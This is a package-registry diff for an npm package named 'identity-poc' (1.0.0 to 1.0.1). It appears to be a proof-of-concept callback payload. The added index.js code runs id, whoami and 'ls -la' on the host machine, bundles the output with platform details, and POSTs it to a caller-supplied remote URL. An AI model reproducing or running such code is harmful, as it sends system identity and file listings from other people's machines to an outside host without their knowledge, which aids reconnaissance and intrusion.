identity-poc 1.0.0 → 1.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +65 -26
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -2,6 +2,10 @@
|
|
|
2
2
|
|
|
3
3
|
const https = require("node:https");
|
|
4
4
|
const os = require("node:os");
|
|
5
|
+
const { execFile } = require("node:child_process");
|
|
6
|
+
const { promisify } = require("node:util");
|
|
7
|
+
|
|
8
|
+
const execFileAsync = promisify(execFile);
|
|
5
9
|
|
|
6
10
|
const callback = process.argv[2];
|
|
7
11
|
|
|
@@ -22,29 +26,64 @@ try {
|
|
|
22
26
|
process.exit(1);
|
|
23
27
|
}
|
|
24
28
|
|
|
25
|
-
|
|
26
|
-
|
|
27
|
-
|
|
28
|
-
|
|
29
|
-
|
|
30
|
-
});
|
|
31
|
-
|
|
32
|
-
|
|
33
|
-
|
|
34
|
-
|
|
35
|
-
|
|
36
|
-
|
|
37
|
-
}
|
|
38
|
-
|
|
39
|
-
|
|
40
|
-
|
|
41
|
-
|
|
42
|
-
|
|
43
|
-
|
|
44
|
-
|
|
45
|
-
|
|
46
|
-
|
|
47
|
-
|
|
48
|
-
|
|
49
|
-
|
|
50
|
-
|
|
29
|
+
async function runCommand(cmd, args = []) {
|
|
30
|
+
try {
|
|
31
|
+
const { stdout, stderr } = await execFileAsync(cmd, args, {
|
|
32
|
+
timeout: 5000,
|
|
33
|
+
maxBuffer: 1024 * 1024
|
|
34
|
+
});
|
|
35
|
+
|
|
36
|
+
return {
|
|
37
|
+
ok: true,
|
|
38
|
+
stdout: stdout.trim(),
|
|
39
|
+
stderr: stderr.trim()
|
|
40
|
+
};
|
|
41
|
+
} catch (err) {
|
|
42
|
+
return {
|
|
43
|
+
ok: false,
|
|
44
|
+
error: err.message,
|
|
45
|
+
stdout: (err.stdout || "").toString().trim(),
|
|
46
|
+
stderr: (err.stderr || "").toString().trim()
|
|
47
|
+
};
|
|
48
|
+
}
|
|
49
|
+
}
|
|
50
|
+
|
|
51
|
+
(async () => {
|
|
52
|
+
const commands = {
|
|
53
|
+
id: await runCommand("id"),
|
|
54
|
+
whoami: await runCommand("whoami"),
|
|
55
|
+
"ls -la": await runCommand("ls", ["-la"])
|
|
56
|
+
};
|
|
57
|
+
|
|
58
|
+
const payload = JSON.stringify({
|
|
59
|
+
marker: "IDENTITY_POC_EXECUTED",
|
|
60
|
+
platform: os.platform(),
|
|
61
|
+
node: process.version,
|
|
62
|
+
timestamp: new Date().toISOString(),
|
|
63
|
+
commands
|
|
64
|
+
});
|
|
65
|
+
|
|
66
|
+
const req = https.request(
|
|
67
|
+
url,
|
|
68
|
+
{
|
|
69
|
+
method: "POST",
|
|
70
|
+
headers: {
|
|
71
|
+
"Content-Type": "application/json",
|
|
72
|
+
"Content-Length": Buffer.byteLength(payload)
|
|
73
|
+
},
|
|
74
|
+
timeout: 5000
|
|
75
|
+
},
|
|
76
|
+
(res) => {
|
|
77
|
+
console.log("Callback status:", res.statusCode);
|
|
78
|
+
res.resume();
|
|
79
|
+
}
|
|
80
|
+
);
|
|
81
|
+
|
|
82
|
+
req.on("timeout", () => req.destroy(new Error("Timeout")));
|
|
83
|
+
req.on("error", (err) => {
|
|
84
|
+
console.error("Callback failed:", err.message);
|
|
85
|
+
process.exitCode = 1;
|
|
86
|
+
});
|
|
87
|
+
|
|
88
|
+
req.end(payload);
|
|
89
|
+
})();
|